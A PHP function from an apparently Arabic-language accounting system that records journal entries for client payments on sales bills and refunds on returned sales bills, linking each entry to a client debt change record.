function makeDillPaymentDailyEntry($billId, $payVal, $payAccountTreeId, $clientTreeId, $clientdebtchangeId, $type = 0) {
    global $clientDeptChangeExt;


    if ($type == 0) { // payment on sellbill
        $dailyEntry->entryComment = 'دفعة على فاتورة ' . $billId;
        $detailsURL = "sellbillController.php?do=showDetail&sellbillid=" . $billId;
        ##this link is also ok
        //$detailsURL = "clientPayedDeptSellBillsController.php?do=show_details&id=" . $billId;
        // start save
        $dailyEntryDebtorArray = array();
        $dailyEntryDebtor->value = $payVal;
        $dailyEntryDebtor->accountstreeid = $payAccountTreeId;
        /// end save
        /// start L 7sab L da2non
        $dailyEntryCreditorArray = array();
        $dailyEntryCreditor->value = $payVal;
        $dailyEntryCreditor->accountstreeid = $clientTreeId;
        /// end L 7sab L da2non

        array_push($dailyEntryDebtorArray, $dailyEntryDebtor);
        array_push($dailyEntryCreditorArray, $dailyEntryCreditor);

        $returnedData = insertEntery($dailyEntry, $dailyEntryDebtorArray, $dailyEntryCreditorArray, 1, $billId, $detailsURL);
        $did = $returnedData[1];

        $clientDeptChangeExt->updateDailyEntryId($did, $clientdebtchangeId);
    } elseif ($type == 1) { //payment on retsellbill
        $dailyEntry->entryComment = 'استرداد على فاتورة مردود بيع للعميل ' . $billId;
        $detailsURL = "returnsellbillController.php?do=showDetail&returnsellbillid=" . $billId;
        ##this link is also ok
        //$detailsURL = "clientPayedDeptSellBillsController.php?do=show_details&id=" . $billId;
        // start save
        $dailyEntryDebtorArray = array();
        $dailyEntryDebtor->value = $payVal;
        $dailyEntryDebtor->accountstreeid = $clientTreeId;
        /// end save
        /// start L 7sab L da2non
        $dailyEntryCreditorArray = array();
        $dailyEntryCreditor->value = $payVal;
        $dailyEntryCreditor->accountstreeid = $payAccountTreeId;
        /// end L 7sab L da2non

        array_push($dailyEntryDebtorArray, $dailyEntryDebtor);
        array_push($dailyEntryCreditorArray, $dailyEntryCreditor);

        $returnedData = insertEntery($dailyEntry, $dailyEntryDebtorArray, $dailyEntryCreditorArray, 1, $billId, $detailsURL);
        $did = $returnedData[1];

        $clientDeptChangeExt->updateDailyEntryId($did, $clientdebtchangeId);
    }
}
